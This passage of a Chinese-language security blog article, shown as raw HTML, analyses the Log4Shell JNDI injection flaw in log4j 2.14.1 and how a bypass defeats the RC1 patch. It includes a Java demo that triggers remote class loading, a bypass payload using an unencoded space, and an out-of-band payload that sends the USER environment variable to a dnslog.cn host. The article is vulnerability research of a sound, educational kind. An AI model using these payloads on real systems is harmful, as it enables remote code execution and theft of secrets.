8px;line-height: 26px;">选用log4j-core 2.14.1版本，使用以下代码作为demo。启动一个恶意的RMI或LDAP服务，执行demo即可触发。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">import</span> org.apache.logging.log4j.Logger;<br/><span style="color: #c678dd;line-height: 26px;">import</span> org.apache.logging.log4j.LogManager;<br/><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">Log4jJNDI</span> </span>{<br/>    <span style="color: #c678dd;line-height: 26px;">private</span> <span style="color: #c678dd;line-height: 26px;">static</span> <span style="color: #c678dd;line-height: 26px;">final</span> Logger logger = LogManager.getLogger(Log4jJNDI<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>)</span>;<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">static</span> <span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">main</span><span style="line-height: 26px;">(String[] args)</span> </span>{<br/>        System.setProperty(<span style="color: #98c379;line-height: 26px;">&#34;com.sun.jndi.rmi.object.trustURLCodebase&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;true&#34;</span>);<br/>        System.setProperty(<span style="color: #98c379;line-height: 26px;">&#34;com.sun.jndi.ldap.object.trustURLCodebase&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;true&#34;</span>);<br/>        logger.error(<span style="color: #98c379;line-height: 26px;">&#34;${jndi:rmi://127.0.0.1:8888/Calc}&#34;</span>);<br/>    }<br/>}<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5951035781544256" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1062" src="https://wechat2rss.xlab.app/img-proxy/?k=2a162b94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibSejllvicAB45FmPTOsvPaNl4nMUJexsOm9D294AAGHeL2ZGgG8jNP8zg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>代码分析<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">跟进到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.logging.log4j.core.pattern.MessagePatternConverter#format</code>，若未设置<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">nolookup</code>为true，遍历要输出的日志，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$</code>符号和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">{</code>符号相继出现则会在后续将花括号中的内容作处理。<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">nolookup</code>在log4j 2.15.0之前是默认关闭的。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.35936370209689084" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1383" src="https://wechat2rss.xlab.app/img-proxy/?k=87890ce4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibS9Ria1d7jeribs2YRuxRuib0FU93xpQxkk20bEQJ3lHlzL4j5nMnVFruqQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">再跟进到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute</code>，在这里会从外到内递归<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">${</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">}</code>内的内容，然后使用图中的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">resolveVariable</code>方法解析并返回它的值。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">resolveVariable</code>方法里支持解析的前缀有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j</code>，实测在Spring框架下支持解析的前缀会有所不同。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.0724450194049159" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1546" src="https://wechat2rss.xlab.app/img-proxy/?k=a126cfce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibSVVrqApNtrq4uqrnvnYpGtnj5D6FL6LAV2eplhrBtOB9N159jM8lzibA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">继续跟进<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.logging.log4j.core.lookup.Interpolator#lookup</code>，根据前缀从<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">strLookupMap</code>属性中获取相应的Lookup类实例。这里获取的是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">JndiLookup</code>的实例，并调用该实例的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">lookup</code>方法。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.30071754729288974" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1533" src="https://wechat2rss.xlab.app/img-proxy/?k=901f86ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibSy7CEkzxYAttUgCZlD7ACpEc0gFTcJNicgDgIocClTDGSM55M3icQZ2uQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">JndiLookup</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">lookup</code>方法里，调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.apache.logging.log4j.core.net.jndiManager</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getDefaultManager</code>静态方法，返回<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">JndiManager</code>实例，其中的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">context</code>属性被设置为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">InitialContext</code>对象。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.21494708994708994" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1512" src="https://wechat2rss.xlab.app/img-proxy/?k=e0e388a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibS2syaSyPQZmNuWHw8ibnJ2MloicqqKSibsHWvzLvuU5lpkoBwv2RuEgTHg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然后调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">JndiManager</code>实例的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">lookup</code>方法，实际就是它的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">context</code>属性<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">InitialContext</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">lookup</code>方法，后续流程就如常规JNDI注入，加载远程的恶意类执行其中的恶意代码。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4166666666666667" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="660" src="https://wechat2rss.xlab.app/img-proxy/?k=cb920992&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibSCliabVRu9yAhyhic5x3S7nFj90qJzcYdZkkf3zlFNQHIQjtDdTGJHcfw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>RC1修复绕过</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">log4j在RC1中对JNDI注入问题的修复存在于github的commit记录LOG4J2-3201中。在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">JndiManager</code>类里对反序列化的类和JNDI服务器地址做了白名单校验。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"> <span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">synchronized</span> &lt;T&gt; <span style="line-height: 26px;">T <span style="color: #61aeee;line-height: 26px;">lookup</span><span style="line-height: 26px;">(<span style="color: #c678dd;line-height: 26px;">final</span> String name)</span> <span style="color: #c678dd;line-height: 26px;">throws</span> NamingException </span>{<br/>        <span style="color: #c678dd;line-height: 26px;">try</span> {<br/>            URI uri = <span style="color: #c678dd;line-height: 26px;">new</span> URI(name);<br/>            <span style="color: #c678dd;line-height: 26px;">if</span> (uri.getScheme() != <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>                <span style="color: #c678dd;line-height: 26px;">if</span> (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {<br/>                    LOGGER.warn(<span style="color: #98c379;line-height: 26px;">&#34;Log4j JNDI does not allow protocol {}&#34;</span>, uri.getScheme());<br/>                    <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">null</span>;<br/>                }<br/>                <span style="color: #c678dd;line-height: 26px;">if</span> (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {<br/>                    <span style="color: #c678dd;line-height: 26px;">if</span> (!allowedHosts.contains(uri.getHost())) {<br/>                        LOGGER.warn(<span style="color: #98c379;line-height: 26px;">&#34;Attempt to access ldap server not in allowed list&#34;</span>);<br/>                        <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">null</span>;<br/>                    }<br/>                    Attributes attributes = <span style="color: #c678dd;line-height: 26px;">this</span>.context.getAttributes(name);<br/>                    <span style="color: #c678dd;line-height: 26px;">if</span> (attributes != <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>                        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// In testing the &#34;key&#34; for attributes seems to be lowercase while the attribute id is</span><br/>                        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// camelcase, but that may just be true for the test LDAP used here. This copies the Attributes</span><br/>                        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// to a Map ignoring the &#34;key&#34; and using the Attribute&#39;s id as the key in the Map so it matches</span><br/>                        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// the Java schema.</span><br/>                        Map&lt;String, Attribute&gt; attributeMap = <span style="color: #c678dd;line-height: 26px;">new</span> HashMap&lt;&gt;();<br/>                        NamingEnumeration&lt;? extends Attribute&gt; enumeration = attributes.getAll();<br/>                        <span style="color: #c678dd;line-height: 26px;">while</span> (enumeration.hasMore()) {<br/>                            Attribute attribute = enumeration.next();<br/>                            attributeMap.put(attribute.getID(), attribute);<br/>                        }<br/>                        Attribute classNameAttr = attributeMap.get(CLASS_NAME);<br/>                        <span style="color: #c678dd;line-height: 26px;">if</span> (attributeMap.get(SERIALIZED_DATA) != <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>                            <span style="color: #c678dd;line-height: 26px;">if</span> (classNameAttr != <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>                                String className = classNameAttr.get().toString();<br/>                                <span style="color: #c678dd;line-height: 26px;">if</span> (!allowedClasses.contains(className)) {<br/>                                    LOGGER.warn(<span style="color: #98c379;line-height: 26px;">&#34;Deserialization of {} is not allowed&#34;</span>, className);<br/>                                    <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">null</span>;<br/>                                }<br/>                            } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>                                LOGGER.warn(<span style="color: #98c379;line-height: 26px;">&#34;No class name provided for {}&#34;</span>, name);<br/>                                <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">null</span>;<br/>                            }<br/>                        } <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (attributeMap.get(REFERENCE_ADDRESS) != <span style="color: #c678dd;line-height: 26px;">null</span><br/>                                || attributeMap.get(OBJECT_FACTORY) != <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>                            LOGGER.warn(<span style="color: #98c379;line-height: 26px;">&#34;Referenceable class is not allowed for {}&#34;</span>, name);<br/>                            <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">null</span>;<br/>                        }<br/>                    }<br/>                }<br/>            }<br/>        } <span style="color: #c678dd;line-height: 26px;">catch</span> (URISyntaxException ex) {<br/>            <span style="color: #5c6370;font-style: italic;line-height: 26px;">// This is OK.</span><br/>        }<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> (T) <span style="color: #c678dd;line-height: 26px;">this</span>.context.lookup(name);<br/>    }<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但这个修复存在问题，如果<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">new URI(name)</code>抛出了<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">URISyntaxException</code>异常，则会跳过白名单校验直接调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">lookup</code>。URI加不编码的空格可以触发<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">URISyntaxException</code>跳出<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">try catch</code>直接执行lookup，但在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">lookup</code>里会去掉空格，正常触发JNDI注入。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;">${jndi:ldap://127.0.0.1:1389/ badClassName}</span><br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>其他利用方式</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>读取敏感信息<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">log4j中的两个前缀<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sys</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">env</code>，是分别通过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">System.getProperty()</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">System.getenv()</code>实现的，能够获取环境变量和系统属性，再配合<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Out-of-Band</code>，就能读取到环境变量和系统属性中的敏感信息。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>POC</strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;">${jndi:ldap://${env:USER}</span>.dnslog.cn/abc}<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>读取配置文件<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">bundle前缀<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ResourceBundleLookup</code>中会把 key 按照 <code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">:</code>分割成两份，第一个是 bundleName 获取 ResourceBundle，第二个是 bundleKey 获取 Properties Value。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4875502008032129" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1245" src="https://wechat2rss.xlab.app/img-proxy/?k=1999f944&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5oHFIdiaWEibrzewAZfC5fibSPA2eWQJaV7CQeicZELrWBAdRh424ma8OVkDHVQruj3HUWdxCfCQeDjg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 